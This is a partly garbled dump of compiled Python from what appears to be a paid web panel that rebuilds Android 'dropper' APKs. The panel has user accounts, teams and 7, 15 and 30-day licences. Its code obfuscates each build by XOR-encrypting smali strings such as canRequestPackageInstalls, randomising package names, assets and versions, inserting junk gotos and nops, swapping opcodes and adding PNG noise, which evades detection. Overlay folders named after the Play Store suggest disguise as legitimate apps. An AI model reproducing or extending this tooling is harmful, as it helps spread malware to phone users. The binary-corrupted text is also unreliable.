                  " SS5      S95      nU R                  S5      mUR                  S5      m[        UU4S j[        [        T5      5       5       5      nTR                  U5      R                  5       TR                  T5      R                  5       4$ )NrY   r  r   rz   r2  c              3   R   >#    U  H  nTU   TU[        T5      -     -  v   M     g 7fr  r  r  s     rJ   rT   >_encrypt_receiver_strings.<locals>._xor_enc.<locals>.<genexpr>  r  r  )r^   rD   r   r  r  r[   r  r  rZ   r  r  r  )plainr  r  r  r  r  _strs      @@rJ   r  +_encrypt_receiver_strings.<locals>._xor_enc  s    ggfnnT%7%7$++%EXY[]I^_`\\'"G)<BDU3r7^DD~~c"))+T^^B-?-F-F-HHHrI   c                 L   > T" U5      u  p4SU  SU SU SU SU  SU ST SU  3$ )Nr  r  r  r  r  z}, zS->a(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
    move-result-object rH   )rb  r  r  r  r  r  	codec_refs        rJ   r  '_encrypt_receiver_strings.<locals>._blk  sV    E?#B4s3% 0$$&4s3% 0'')d"RDYK @**,/ 	0rI   r*  r+  z*[enc_rcv] receiver nao encontrado, pulandor1  r2  r8  z@.method public final c(Landroid/content/Context;)V
    .locals 6z@.method public final c(Landroid/content/Context;)V
    .locals 7r-  z    const-string v0, ".r  r  r  r}   z    const-string v3, "r  z    const-string v5, ".r  v6r7  z
[enc_rcv] z patch(es) em z[enc_rcv] nenhum patch aplicadoz'.method public final M()V
    .locals 3z'.method public final M()V
    .locals 4z).method public onDestroy()V
    .locals 3z).method public onDestroy()V
    .locals 4z    const-string v2, ".r  r  z[enc_main] z'[enc_main] nenhum patch em MainActivity)r  r   getr   rK  r   r^   r   rQ  rR  rO  rS  )rT  r_  rW  rV  rU  r^  r[  r  r  r  ra   r  r  r  torigrS   r  _main_target_mrd_mfs_mfn_mfmtmorigmnr  r   r  r  s                             @@@@rJ   _encrypt_receiver_stringsr    s    *J
3G,.>?GNN;HGY/HHk2II;a II0 Fwwrww||L'BCC((c/  6 D :;	fcG	,HHJ 
-D	A ODqyIId_abc	Q %WIQ/DqyIIdDtS7];Q?	Q#H:Q/DqyIIdDtX6:	Q %XJa0DqyIIdDtS8^<a@	Q$WIQ/DqyIIdDtS7];Q?	Q$WIQ/DqyIIdDtS7];Q?	Qy&#0CIIaL 1
1#^G9F;</0
 LlG!DEaDx(**!ww||D$7  < F ,g6#B 792:D"LaPB!GB;2:D"NPQRB!GB(	3bjD$tT3="A1EB!GB bj )	32:D$tT3="A1EB!GB;lC':c		" ;Kt>(6BC;<5 i 
-	,H 10" 76* ;:s0   P 	P2Q&Q 
P/2
Q
Q
Q$c           
          SS K n[        R                  R                  U S5      n[        R                  R	                  U5      (       d  [        S5        g 0 n[        R                  " U5       H  n[        R                  R                  U5      u  pVUR                  5       S;   d  M:  SR                  [        R                  " UR                  [        R                  " SS5      S95      nXvR                  5       -   X4'   M     U(       d  [        S	5        g [        S
[        U5      -   5        UR                  5        HW  u  p [        R                  " [        R                  R                  X(5      [        R                  R                  X)5      5        MY     [        R"                  " U 5       H  u  pnU H  nUR%                  S5      (       d  M  [        R                  R                  X5      n ['        USSSS9 nUR)                  5       nS S S 5        WnUR                  5        H  u  pUR+                  X5      nM     UU:w  a'  ['        USSS9 nUR-                  U5        S S S 5        M  M     M     [        S
[        [/        U5      5      -   S-   5        g ! [          a#  n
[        S[        U
5      -   5         S n
A
GM  S n
A
ff = f! , (       d  f       N= f! , (       d  f       GM6  = f! [          a     GMG  f = f)Nr   assetsz$[assets] assets/ nao existe, pulando).html.cssz.jsrY   r   rO   rz   z)[assets] nenhum .html/.css/.js encontradoz	[assets] z[assets] rename falhou: )r+  r/  r0  r  r  r1  r2  r3  r4  r7  r8  z asset(s) renomeados)r   r   r   r^   r   r   listdirsplitextlowerrD   r   r   r[   r`   rM  rP  r   rK  rL  rQ  rR  rO  rS  r  )rT  r   
assets_dir
rename_maprd  baseextrandoldnewerb  ra   rc  rh  ri  rj  rk  s                     rJ   _randomize_assetsr!    sB   lH5J77>>*%%45Jjj$GG$$R(	99;22776>>$*>*>&..QRTVBWXYD!IIK/JN	 %
 9:	+J
'($$&	7IIbggll:3RWW\\*5RS '
 WW\*	rB;;JKKb%B
"cGHE&&(C F * 0 0 2HC%ooc7G !3c>b#8A( 98 "  +  
+C
O,
,/E
EF%  	7,s1v566	7 FE 98 sb   AJ0K.<K
AK.K$K.
K$KK

KK.
K+%K.+K..
K=<K=c           	         [        5       nUR                  SS5      nUR                  SS5      n[        R                  R                  " U S/UR                  S5      Q76 n[        R                  R                  " U S/UR                  S5      Q76 n[        R                  R                  U5      (       aH  [        R                  " [        R                  R                  U5      SS9  [        R                  " XV5        [        R                  " U 5       H  u  pxn	U	 H  n
U
R                  S5      (       d  M  [        R                  R	                  Xz5      n [        USSS	S
9 nUR                  5       nS S S 5        WR                  X45      R                  X5      nX:w  a'  [        USSS9 nUR                  U5        S S S 5        M  M     M     g ! , (       d  f       Nc= f! , (       d  f       M  = f!    M  = f)Nr}   /r*  Texist_okr.  r1  r2  r3  r4  r7  r8  )r   rO  r   r   r^   splitr   makedirsdirnamer   moverK  rL  rQ  rR  rS  )rT  orig_pkgnew_pkg
orig_slash	new_slash	old_smali	new_smaliroot_dirra   filesfnamefpathri  contentncs                  rJ   _randomize_dropper_packager6    sv   jG!!#s+Jc*IlGJhnnS6IJIlGIgmmC6HII	ww~~i  
BGGOOI.>I) ggl3UE>>"<==GGLL1E%wxHAffhG I__Z;CCHV=eS7;q <; !  4 IH <;sB   G3"G38G3+G!=G3
GG3!
G0+G30G33G8c                    [        [        R                  " SS5      5      n[        R                  " SS5       S[        R                  " SS5       S[        R                  " SS5       3n[        R                  R                  U S5      n[        R                  R                  U5      (       a   [        US	5       oDR                  5       nS S S 5        [        R                  " S
SU S3W5      n[        R                  " SSU S3U5      n[        US5       oDR                  U5        S S S 5        [        R                  R                  U S5      n[        R                  R                  U5      (       a   [        US	SS9 oDR                  5       nS S S 5        [        R                  " SSU S3W5      n[        R                  " SSU S3U5      n[        USSS9 oDR                  U5        S S S 5        g g ! , (       d  f       GN2= f! , (       d  f       N= f!    N= f! , (       d  f       N= f! , (       d  f       g = f!    g = f)N2   i  r-  rM   r}   r      apktool.ymlr1  zversionCode: '[^']*'zversionCode: ''zversionName: '[^']*'zversionName: 'r7  AndroidManifest.xmlr2  r8  z platformBuildVersionCode="[^"]*"zplatformBuildVersionCode="r  z platformBuildVersionName="[^"]*"zplatformBuildVersionName=")r`   rD   r[   r   r   r^   r   rQ  rR  r}  r  rS  )rT  vcvnyml_pathri  r4  mf_paths          rJ   _randomize_versionrA  6  s   	V^^B$	%BNN1Q &..1"5!6aq8L7M	NBww||L-8H	ww~~h	h$VVX7$ff4rd!6LgVGff4rd!6LgVGh$777+;$ggll<)>?G	ww~~g	gsW5ffhG5ff@D^_a^bbcBdfmnGff@D^_a^bbcBdfmnGgsW5GGG<L55  %$ %$ 65 65s   /H ;G6AH H(H 5I  H AI H1,I 6
H H 
HH H H 
H.*I 1
H?;I ?I Ic           	      
  ^ ^! [        S S 5       5      m!U!U 4S jn[        R                  " S5      n[        R                  " S5      n[        R                  " S5      n[        R                  R                  T S5      nSn[        R                  " U5       GHF  u  pxn	U	 GH8  n
U
R                  S	5      (       d  M  [        R                  R                  Xz5      nU" U5      (       d  MJ   [        US
SSS9 nUR                  5       nS S S 5        SW;   d  SU;   a  M~  UR                  SS9n/ nSnSnSnU[        U5      :  Ga_  UR                  UU   5      (       a  UR                  UU   5        US-  nMD  UR                  UU   5      (       Ga  / nUnU[        U5      :  a\  UR                  UU   5      (       aC  UR                  UU   5        US-  nU[        U5      :  a  UR                  UU   5      (       a  MC  / nSnU[        U5      :  a  UR                  UU   5      (       aK  US-   [        U5      :  a9  UR                  UUS-      5      (       a  UR                  UUUS-    5        US-  nOUR                  UUUS-    5        US-  nU[        U5      :  a  M  [        U5      S:  Ga  [        R                  " 5       S:  Ga  US-  n[        R                  " S[        U5      S-
  5      nUS U  VVs/ s H  nU  H  nUPM     M     nnnUUS   VVs/ s H  nU  H  nUPM     M     nnnUR                  US   5      (       d  UR                  US   5      (       a  UR!                  U5        UnGMM  ["        R$                  " S5      ['        US5      -   nSU-   SU-   SU-   nnnUR                  SU-   S-   5        UR                  SU-   S-   5        UR!                  U5        UR                  SU-   S-   5        UR                  SU-   S-   5        UR!                  U5        UR                  SU-   S-   5        UR                  SU-   S-   5        SnUnO-UR!                  U5        UnOUR                  UU   5        US-  nU[        U5      :  a  GM_  U(       a-  [        USSS 9 nUR)                  U5        S S S 5        US-  nGM8  GM;     GMI     [-        S#[/        U5      -   S$-   5        g ! , (       d  f       GN= fs  snnf s  snnf ! , (       d  f       NY= f! [*         a)  n [-        S!U
-   S"-   [/        U 5      -   5         S n A GM  S n A ff = f)%Nc              3   d   #    U  H&  n[         R                  R                  " S /UQ76 v   M(     g7fr*  Nr   r   r^   rQ   partss     rJ   rT   #_obfuscate_gotos.<locals>.<genexpr>L  -      
E 	W%u%
   .0)devakamai)iogitlab)comandroidsystem)rP  
cloudflare)netgithub)rP  adobec                 p   >^ [         R                  R                  U T5      m[        U4S jT 5       5      $ )Nc              3   F   >#    U  H  nTR                  U5      v   M     g 7fr  rN  rQ   r1  rels     rJ   rT   4_obfuscate_gotos.<locals>._is_own.<locals>.<genexpr>U       =n3>>!$$n   !r   r   relpathanyrh  r[  _DROPPER_ROOTSrT  s    @rJ   _is_own!_obfuscate_gotos.<locals>._is_ownS  (    ggoob,/=n===rI    ^\s+(?:invoke-|filled-new-array)^\s+move-resultzW^\s{4}(?!goto\b|if-|return|throw\b|packed-switch|sparse-switch|fill-array-data)[a-zA-Z]r*  r   r+  r1  r2  r3  r4  z
:try_startz.catch T)keependsFr-     r|   ffffff?   03xz:gf_z:gb_z:ge_z	    goto r|  z    r7  r8  z[goto] erro em r   z[goto] z! arquivo(s) fragmentados com goto)tupler}  r~  r   r   r^   rK  rL  rQ  rR  
splitlinesr  matchr]   rD   r[   extendr   r   format
writelinesr   r   r`   )"rT  rd  _INVOKE_MRES_PUREr`  files_patchedrb  ra   rc  rd  rh  ri  rj  lines	new_linesrR   modifieduidrawjunitsr{   midulfirstsecondtaglflbleexcrc  s"   `                                @rJ   _obfuscate_gotosr  K  s    
 N> jj<=Gjj+,Ejj	E \73IMWWY'	rB;;x(((b%B2;;0@"cGHE&&(C F3&)s*:5	A%xq#e*n{{58,,!((q2AFAH{{58,, #e*nU1X1F1FJJuQx0!q&!  #e*nU1X1F1F "A#c(l 'c!f 5 5!A#C.U[[Y\]^_`]`YaMbMb %S1Q3Z 8!q&! %S1Q3Z 8!q&!	  #c(l
 u:?v}}/E1HC"(..CJN"CC16t%HAaaaaE%H16st%HAaaaaF%H${{5844F1I8N8N ) 0 0 51qh")"3"3A"6U9K"KC)/VCZBB%,,[2-=-DE%,,Vb[4-?@%,,V4%,,[2-=-DE%,,Vb[4-?@%,,U3%,,[2-=-DE%,,Vb[4-?@'+HQ%,,S1q1!((q2AFAG #e*nH b#8AY/ 9!Q&M _  (l 
)c-(
(+N
NOa FE. &I%H& 98  @'",t3c#h>??@s|   *T+6S<T+C"T+B"T+%AT+?T
T+ T
6E*T+#T+5TT+<
TT+
T($T++
U5UUc           	      4  ^ ^ [        S S 5       5      mUU 4S jnSnSn[        R                  " S5      n[        R                  " S5      nS n[        R                  R                  T S	5      nS
nS
n	[        R                  " U5       GH  u  pnU GH{  nUR                  S5      (       d  M  [        R                  R                  X5      nU" U5      (       d  MJ   [        USSSS9 nUR                  5       nS S S 5        / nS
nSnS
n[        W5       GH  u  nnUR                  5       nUR                  S5      (       a  SnOUS:X  a  SnU H   nUR                  U5      (       d  M  US-  n  O   UR                  U5        U H*  nUR                  U5      (       d  M  [        S
US-
  5      n  O   [        UR!                  U5      5      nU" UU5      n[        UR!                  U5      5      nU(       d  M  US
:X  d  M  U(       d  M  UR                  S5      (       a  GM  UR                  S5      (       a  GM(  UR                  S5      (       a  GMA  US:w  d  GMJ  U(       a  GMT  U(       a  GM^  ["        R"                  " 5       S:  d  GMz  [%        U5      [%        UR'                  5       5      -
  nUR                  SU-  S-   5        US-  nGM     US
:  a2  [        USSS9 nUR)                  U5        S S S 5        UU-  nU	S-  n	GM{  GM~     GM     [-        S [/        U5      -   S!-   [/        U	5      -   S"-   5        g ! , (       d  f       GNN= f! , (       d  f       Na= f! [*         a)  n[-        SU-   S-   [/        U5      -   5         S nAGM   S nAff = f)#Nc              3   d   #    U  H&  n[         R                  R                  " S /UQ76 v   M(     g7frD  rE  rF  s     rJ   rT   _insert_nops.<locals>.<genexpr>  rI  rJ  rK  c                 p   >^ [         R                  R                  U T5      m[        U4S jT 5       5      $ )Nc              3   F   >#    U  H  nTR                  U5      v   M     g 7fr  rY  rZ  s     rJ   rT   0_insert_nops.<locals>._is_own.<locals>.<genexpr>  r]  r^  r_  rb  s    @rJ   rd  _insert_nops.<locals>._is_own  rf  rI   )z.annotationz.array-dataz.packed-switchz.sparse-switchz.subannotation)z.end annotationz.end array-dataz.end packed-switchz.end sparse-switchz.end subannotationrg  rh  c                     US-   nU[        U 5      :  aD  X   R                  5       (       d-  US-  nU[        U 5      :  a  X   R                  5       (       d  M-  U[        U 5      :  a  X   $ S$ )Nr-  rY   )r  strip)rx  idxr}  s      rJ   _next_nonempty$_insert_nops.<locals>._next_nonempty  s_    !G#e*nUX^^%5%5FA #e*nUX^^%5%5s5z>ux1r1rI   r*  r   r+  r1  r2  r3  r4  Fz.method Tz.end methodr-  r}   :#nop皙?rC   znop
r7  r8  z[nop] erro em r   z[nop] z nop(s) em z arquivo(s))rn  r}  r~  r   r   r^   rK  rL  rQ  	readlines	enumerater  rN  r]   maxboolrp  rD   r  lstriprs  r   r   r`   )rT  rd  _BLOCK_OPEN_BLOCK_CLOSE
_INVOKE_RE_MRES_REr  r`  
total_nopsrw  rb  ra   rc  rd  rh  ri  rx  ry  in_block	in_methodaddedr  linesblkcurr_is_invoke	next_realnext_is_mresindentr  rc  s   `                             @rJ   _insert_nopsr    s    
 N> hK@L?@J./H2 \73IJMWWY'	rB;;x(((b%B2;;*?"cGHEKKME F	!	!*5!1IC

A||J//$(	m+$)	*<<,,$MH!  + $$T*+<<,,'*1hl';H!  , &***:*:4*@%AN%3E3%?I%)(..*C%DL!	h!m$%LL$5$5$%LL$5$5$%LL$5$5 !U
$2N$0L &$ 6!$TS-?!?!((v)?@
9 "2: 19b#8AY/ 9%'J!Q&M	 Q  (` 
(S_
$}
4s=7I
IM
YZU FEH 98  ?&+d2SX=>>?s   M$)M:A,M$*3M$!AM$:M$M$M$$M$=M$M$M$)M$3M$AM$&M8M$
MM$
M!M$$
N.NNc           	        ^ ^ [        S S 5       5      mUU 4S jn[        R                  R                  T S5      n[        R
                  " S5      S4[        R
                  " S5      S4[        R
                  " S	5      S
4[        R
                  " S5      S4/nSn[        R                  " U5       H  u  pVnU H  nUR                  S5      (       d  M  [        R                  R                  XX5      n	U" U	5      (       d  MI   [        U	SSSS9 n
U
R                  5       nS S S 5        WnU H  u  pU4S jnUR                  X5      nM     X:w  a,  [        U	SSS9 n
U
R                  U5        S S S 5        US-  nM  M     M     [        S[        U5      -   S-   5        g ! , (       d  f       N= f! , (       d  f       NI= f! [         a)  n[        SU-   S-   [        U5      -   5         S nAGM7  S nAff = f)Nc              3   d   #    U  H&  n[         R                  R                  " S /UQ76 v   M(     g7frD  rE  rF  s     rJ   rT    _swap_opcodes.<locals>.<genexpr>  rI  rJ  rK  c                 p   >^ [         R                  R                  U T5      m[        U4S jT 5       5      $ )Nc              3   F   >#    U  H  nTR                  U5      v   M     g 7fr  rY  rZ  s     rJ   rT   1_swap_opcodes.<locals>._is_own.<locals>.<genexpr>  r]  r^  r_  rb  s    @rJ   rd  _swap_opcodes.<locals>._is_own  rf  rI   r*  z(?m)^(\s+)const/4(\s)zconst/16z(?m)^(\s+)move-object(\s)zmove-object/from16z(?m)^(\s+)move(?![-/])(\s)zmove/from16z&(?m)^(\s+)move-wide(?!/from16|/16)(\s)zmove-wide/from16r   r+  r1  r2  r3  r4  c                     [         R                   " 5       S:  a&  U R                  S5      U-   U R                  S5      -   $ U R                  S5      $ )N      ?r-  rj  r   )rD   group)mops     rJ   _sub_swap_opcodes.<locals>._sub  sA    AGSVAV
R!''!* <f\]\c\cde\ffrI   r7  r8  r-  z[opcodes] erro em r   z
[opcodes] z$ arquivo(s) com opcodes substituidos)rn  r   r   r^   r}  r~  rK  rL  rQ  rR  r  rS  r   r   r`   )rT  rd  r`  _SWAPSrw  rb  ra   rc  rd  rh  ri  rj  rk  patnew_opr  r  rc  s   `                @rJ   _swap_opcodesr    s    
 N> \73I	,	-L	0	1AUV	1	2O	=	>AST	F MWWY'	rB;;x(((b%B2;;C"cGHE&&(C F#)KC#) g!ggd4G $* >b#8A( 9!Q&M "  (& 
,]+
+.T
TU FE 98  C*R/$6SABBCsH   GF!!<GF2/G!
F/+G2
G <G
G6G11G6c           	         SS K nSS Kn[        R                  R	                  U S5      n[        R                  R                  U5      (       d  g Sn[        R                  " U5       GHa  u  pVnU GHS  nUR                  5       R                  S5      (       d  M*  [        R                  R	                  XX5      n	 [        U	S5       n
U
R                  5       nS S S 5        WR                  S5      (       d  M  UR                  S5      nUS:  a  M  US-
  n[        R                  " S5      R                  5       nS	U-   nS
nUR!                  UU-   5      S-  nUR#                  S[%        U5      5      U-   U-   UR#                  SU5      -   nUS U U-   XS  -   n[        U	S5       n
U
R'                  U5        S S S 5        US-  nGMV     GMd     [+        S[-        U5      -   S-   5        g ! , (       d  f       GN= f! , (       d  f       NJ= f! [(         a)  n[+        SU-   S-   [-        U5      -   5         S nAGM  S nAff = f)Nr   r   .pngrbs   PNG

s   IENDr|   r  s   Comment s   tEXt    z>Iwbr-  z[png] erro em r   z[png] z PNG(s) com noise injetado)structzlibr   r   r^   isdirrK  r  rL  rQ  rR  rN  rfindr   r   r  crc32packr  rS  r   r   r`   )rT  r  r  res_dircountrb  ra   rc  rd  rh  fhdataiend_pos	insert_atnoisepayload
chunk_typecrc_valchunknew_datar  s                        rJ   _add_png_noiser    s   ggll</G77==!!EWWW%	rB88:&&v..b%B?"d^r779D $';<<::g.a<$qL	))!,335(50$
**Z'%9:ZGT3w<8:E"#%+[[w%?@
+e3d:6FF"d^rHHX& $
-  &4 
(SZ
">
>?) $^ $^  ?&+d2SX=>>?sU   9H
G'H
6H
BH
#G95H
'
G61H
9
HH


H=H88H=c                    [         R                  R                  U SSS5      n[         R                  R                  U5      (       d  g  [	        USSS9 nUR                  5       nS S S 5        S[        R                  " S5      -   nS	[        R                  " S5      -   S
-   nSR                  XE5      nSW;   aM  UR                  SUS-   S5      n[	        USSS9 nUR                  U5        S S S 5        [        SU-   S-   5        g g ! , (       d  f       N= f! , (       d  f       N2= f! [         a!  n[        S[        U5      -   5         S nAg S nAff = f)Nr   xmlzfile_paths.xmlr1  r2  r8  tmp_r|   cache_r#  z'    <files-path name="{}" path="{}" />
z</paths>r-  r7  z3[xml] file_paths.xml: entrada ficticia adicionada ()z[xml] erro: )r   r   r^   r   rQ  rR  r   r   rr  rO  rS  r   r   r`   )rT  rh  r  rj  
dummy_name
dummy_pathentryr  s           rJ   _randomize_xml_pathsr  3  s    	lE52B	CB77>>")"cG,'')C -g//22
 1 1! 44s:
:AA*Y++j%**<a@Cb#0B 1G*TWZZ[	  -, 10  )ns3x'(()sI   	D) D%A5D) D,D) 
DD) 
D&"D) )
E3EEc           
        ^^ SSK nSSSSSS.nSn[        R                  " [        R                  R	                  U S	5      5       H?  u  pEnU H*  nUS
:X  d  M  [        R                  R	                  XG5      n  O   U(       d  M?    O   U(       d  [        S5        g[        USSS9 nUR                  5       n	SSS5        Sn
UR                  5        GH9  u  pUR                  SS5      nUW	;  a  M   UR                  S5      mSR	                  [        R                  " [        R                  [        R                  -   [        R                   " SS5      S95      R                  S5      m[#        UU4S j[%        ['        T5      5       5       5      nUR)                  U5      R+                  5       nUR)                  T5      R+                  5       nU	R                  SU S3SU S3S5      n	U	R                  SU S3SU S3S5      n	U
S-  n
GM<     U
(       a5  [        USSS9 nUR-                  W	5        SSS5        [        SU
 S35        g[        S5        g! , (       d  f       GN= f! , (       d  f       N<= f)u   XOR-cifra os placeholders de nomes de metodo em H.smali.
Cada build gera chaves diferentes — os bytes do APK mudam por build.r   NgetPackageManagergetSystemServicecanRequestPackageInstallsgetPackageNamegetLaunchIntentForPackage)H_DATA_AH_DATA_BH_DATA_CH_DATA_DH_DATA_Er*  zH.smaliz'[enc_h] H.smali nao encontrado, pulandor1  r2  r8  DATAKEYrY   r  r   rz   c              3   R   >#    U  H  nTU   TU[        T5      -     -  v   M     g 7fr  r  )rQ   rR   _kb_pts     rJ   rT   %_encrypt_h_strings.<locals>.<genexpr>j  s'     IASVc!c#h,//r  r  r-  r7  z[enc_h] z string(s) cifradas em H.smaliz0[enc_h] nenhum placeholder encontrado em H.smali)r  r   rK  r   r^   r   rQ  rR  rM  rO  r  rD   r   r   r  r  r[   r  rZ   r  r  r  rS  )rT  r  _H_MAPh_targetr  ra   r  r  _f_txt_patched_data_phr  _key_ph_enc_enc_b64_key_b64r  r  s                    @@rJ   _encrypt_h_stringsr  G  s     (&/$/F Hwwrww||L'BCCi77<<1  8 D 78	hg	."wwy 
/H"LLN""6514}}W%wwv~~f&:&:V]]&J)/2)>@ AAG 	Is3xII>>$'..0>>#&--/||a{!,(1oqA||azO(1oqAA + (C'2bHHTN 3
"@AB@A- 
/	.$ 32s   &I!I)
I&)
I7apk_dropperz.secret_keyr1      Tr$  r7  i  MAX_CONTENT_LENGTHFSESSION_COOKIE_SECURESESSION_COOKIE_HTTPONLYLaxSESSION_COOKIE_SAMESITEry   daysPERMANENT_SESSION_LIFETIMEuploadsUPLOAD_FOLDERoutputsOUTPUT_FOLDERpdfs
PDF_FOLDERz	data.jsonzpdf_tokens.jsondropper_rebuildplaystore_overlayredirect_overlayz
signer.jarzapktool.jarrj  rO   r      z7 DiasihB  )r  labelprice   z15 Diasixi  r   z30 Diasi  )71530c                     g r  rH   )titledescriptioncolorfieldss       rJ   send_discord_webhookr    s    rI   c                  L   [         R                  R                  [        5      (       d~  S[	        S5      SS[
        R                  " 5       R                  5       S S S/ S SSSS.S.
00 0 / S	S
SSSSSSS.S.S.n [        [        S5       n[        R                  " XSS9  S S S 5        U $ SSSSSS.n[        [        S5       n [        R                  " U5      nSU;  a	  S	S
SS.US'   SUS   ;  a  [        U5      US   S'   O0UR                  5        H  u  pEUS   S   R                  XE5        M     SU;  a  0 US'   SU;  a  / US'   SU;  a  0 US'   UsS S S 5        $ ! , (       d  f       U $ = f!   0 0 / 0 S	S
S[        U5      S.S.s sS S S 5        $ = f! , (       d  f       g = f)Nadminadmin123ownerrY   activer   total_buildssuccessful_buildsfailed_builds
r   roleemail
created_atlicense_dayslicense_expires_atstatusbuildsteam_idamplificationrO   r   ry   zhttps://api.syncpayments.com.brF)base_url	client_idclient_secretwebhook_secretenabled)max_users_per_admindefault_license_daysauto_cleanup_daysgateway)userspending_registrationsteamshistorysettingsr7  r|   r  r1  r>  )r6  r7  r8  r9  r<  r=  r;  )r:  r<  r=  r;  r>  )r   r   r   	DATA_FILEr   r   now	isoformatrQ  jsondumploaddictrM  
setdefault)initial_datari  _default_gwr  r{   rw   s         rJ   	load_datarJ    s   77>>)$$  6z B#"*,,.":":"<$(*.& #67abc%d &(')(*%& A!#%'&($	%
> )S!QIIla0 "@rdfz|  JO  PK	i		99Q<D%;=WYpq#rZ Z 00.2;.?Z +'--/DA$Y/::1@ 0d" "W$"$Y&d202,-! 
	 "!(	bRRT+-r`a#K0 % 
			s1   E?FBE/
E,/FFF
F#c                    [            [        S-   n[        US5       n[        R                  " XSS9  UR                  5          [        R                  " UR                  5       5        S S S 5        [        R                  " U[        5        S S S 5        g ! [         a     N8f = f! , (       d  f       NB= f! , (       d  f       g = f)Nz.tmpr7  r|   r?  )
_save_lockr@  rQ  rC  rD  flushr   fsyncfilenoOSErrorrO  )r  tmp_pathri  s      rJ   	save_datarR    s     
v%(C AIIda(GGI$	 ! 	

8Y' 
   !  
s@   B5&B$$B(#B5
B!B$ B!!B$$
B2	.B55
Cc                 x    U R                  S5      (       d  U R                  S5      (       a  [        X5      $ X:H  $ )Npbkdf2:scrypt:)rN  r   )storedprovideds     rJ   verify_passwordrX    s7    ##v'8'8'C'C"644rI   c                     U R                  S5      S:X  a  gU R                  S5      S:X  a  gU R                  S5      nU(       a1   [        R                  " 5       [        R                  " U5      :  a  g gg!    g= f)Nr-  inactiveTr(  r!  Fr,  )r  r   rA  fromisoformat)	user_datar,  s     rJ   is_user_expiredr]    sw    }}X*,}}V'"';<	||~ 6 67I JJ K 	s   -A7 7A;c                     U (       d  gU R                  5       n U R                  S5      S:X  a"   [        S U R                  S5       5       5      $ SU ;   a  SU ;  a  SU ;  a  SU ;  a  S	U ;  a  g
g!    g= f)NFr}   rl  c              3   ^   #    U  H#  nS [        U5      s=:*  =(       a    S:*  Os  v   M%     g7f)r      Nint)rQ   ps     rJ   rT   _is_valid_ip.<locals>.<genexpr>   s$     @<aqCF))c))<s   +-r  rC   r  r;  <T)r  r  allr&  )r  s    rJ   _is_valid_iprg    sq    U		Awws|q	@1773<@@@ axCqLS\clsRS|	 	us    A0 0A4c                      S HE  n [         R                  R                  U S5      R                  5       n[	        U5      (       d  MC  Us  $    [         R
                  =(       d    SR                  5       $ )N)zCF-Connecting-IPz	X-Real-IPrY   unknown)r   headersr  r  rg  remote_addr)headerrw   s     rJ   get_client_iprm  '  sW     4OO+113??H 4 ,93355rI   c                     [         R                   " 5       n[        U     Vs/ s H  o!U-
  [        :  d  M  UPM     sn[        U '   [        [        U    5      [        :  $ s  snf r  )timelogin_attemptsATTEMPT_WINDOWr  MAX_ATTEMPTSiprA  r  s      rJ   is_rate_limitedru  0  sQ    
))+C%3B%7T%77^;S!%7TN2~b!"l22 U
   AAc                 Z    [         U    R                  [        R                  " 5       5        g r  )rp  r]   ro  rt  s    rJ   record_login_attemptry  5  s    2diik*rI   c                     [         R                   " 5       n[        U     Vs/ s H  o!U-
  [        :  d  M  UPM     sn[        U '   [        [        U    5      [        :  $ s  snf r  )ro  register_attemptsREGISTER_WINDOWr  MAX_REGISTER_ATTEMPTSrs  s      rJ   is_register_limitedr~  8  sT    
))+C(9"(=[(=1q?AZQ(=[b $%)>>> \rv  c                 Z    [         U    R                  [        R                  " 5       5        g r  )r{  r]   ro  rx  s    rJ   record_register_attemptr  =  s    b  -rI   c                 X    [        5       nXS   ;   a  US   U    R                  SS5      $ g )Nr:  r(  operatorrJ  r  usernamer  s     rJ   get_user_roler  @  s2    ;D= G}X&**6:>>rI   c                 V    [        5       nXS   ;   a  US   U    R                  S5      $ g )Nr:  r/  r  r  s     rJ   get_team_idr  F  s0    ;D= G}X&**955rI   c                 ,   [        5       nUS   R                  U 0 5      R                  S5      nUS   R                  U0 5      R                  S5      nUS:X  a  gUS:X  a5  US:X  a/  US   U    R                  S5      US   U   R                  S5      :H  $ g)	Nr:  r(  r!  Tr  r  r/  Fr  )current_usertarget_userr  current_roletarget_roles        rJ   can_manage_userr  L  s    ;D=$$\26::6BLw-##K488@Kww*$=.229=g{A[A_A_`iAjjjrI   c           	          [        5       nUS   R                  SXU[        R                  " 5       R	                  S5      S.5        US   S S US'   [        U5        g )Nr=  r   %d/%m/%Y %H:%M:%S)useractiondetails	timestamp  )rJ  insertr   rA  strftimerR  )r  r  r  r  s       rJ   add_historyr  W  sY    ;DO17\\^,,-@A  9ods+DOdOrI   c           
      N   [        5       nXS   ;   Ga  SUS   U    ;  a  / US   U    S'   US   U    S   nU Hv  nUR                  S5      U:X  d  M  X&S'   [        R                  " 5       R	                  5       US'   [        R                  " 5       R                  S5      US'   [        U5          g    UR                  SX1U[        R                  " 5       R	                  5       [        R                  " 5       R                  S5      S	.5        US S
 US   U    S'   [        U5        g g )Nr:  r.  build_idr-  r  r  date_displayr   )r  app_namer-  r  r  r  )rJ  r  r   rA  rB  r  rR  r  )r  r  r-  r  r  r.  builds          rJ   add_build_historyr  `  s   ;D= 4=2202DM(#H-gx(2Eyy$0"(h%-\\^%=%=%?k"(0(?(?@S(Tn%$  	a &!113$LLN334GH
 	
 -34CLWh)$# !rI   c                    [        5       nXS   ;   av  SUS   U    ;  a  SSSS.US   U    S'   US   U    S   S==   S-  ss'   US:X  a  US   U    S   S==   S-  ss'   OUS	:X  a  US   U    S   S
==   S-  ss'   [        U5        g g )Nr:  r0  r   r#  r$  r-  	concluidor%  error&  )rJ  rR  )r  build_statusr  s      rJ   update_amplificationr  u  s    ;D= $w-"99HI`atu7vDM(#O4Wh0@AE@;&M(#O45HIQNIV#M(#O4_EJE$ !rI   c                 x    Un[        5       nU  H'  nUS-  S-   S-  nUR                  XBS-	  S-  -  5        M)     U$ )Nif i_n<r     r`  )	bytearrayr]   )r  seedr}  	encryptedbytes        rJ   encrypt_lcgr    sM    AI'kZ':5r'T!123  rI   pix_codereturnc                 r    SSK nSSKJn  SSKnUR	                  UR
                  R                  SSS9nUR                  U 5        UR                  SS9  UR                  S	S
S9nU" 5       nUR                  USS9  UR                  UR                  5       5      R                  5       $ ! [         a     gf = f)z0Generate base64 PNG QR code from PIX EMV string.r   N)BytesIOr   rj  error_correctionbox_sizeborderTfitblackwhite
fill_color
back_colorPNGrr  rY   )qrcoderN  r  r  QRCode	constantsERROR_CORRECT_Madd_datamake
make_imagesaver  getvaluer  r   )r  r  r  r  qrimgbufs          rJ   _qr_from_pix_coder    s    ]]F,<,<,L,LWXab]c
H
Dmmw7mCiU#/6688 s   B&B) )
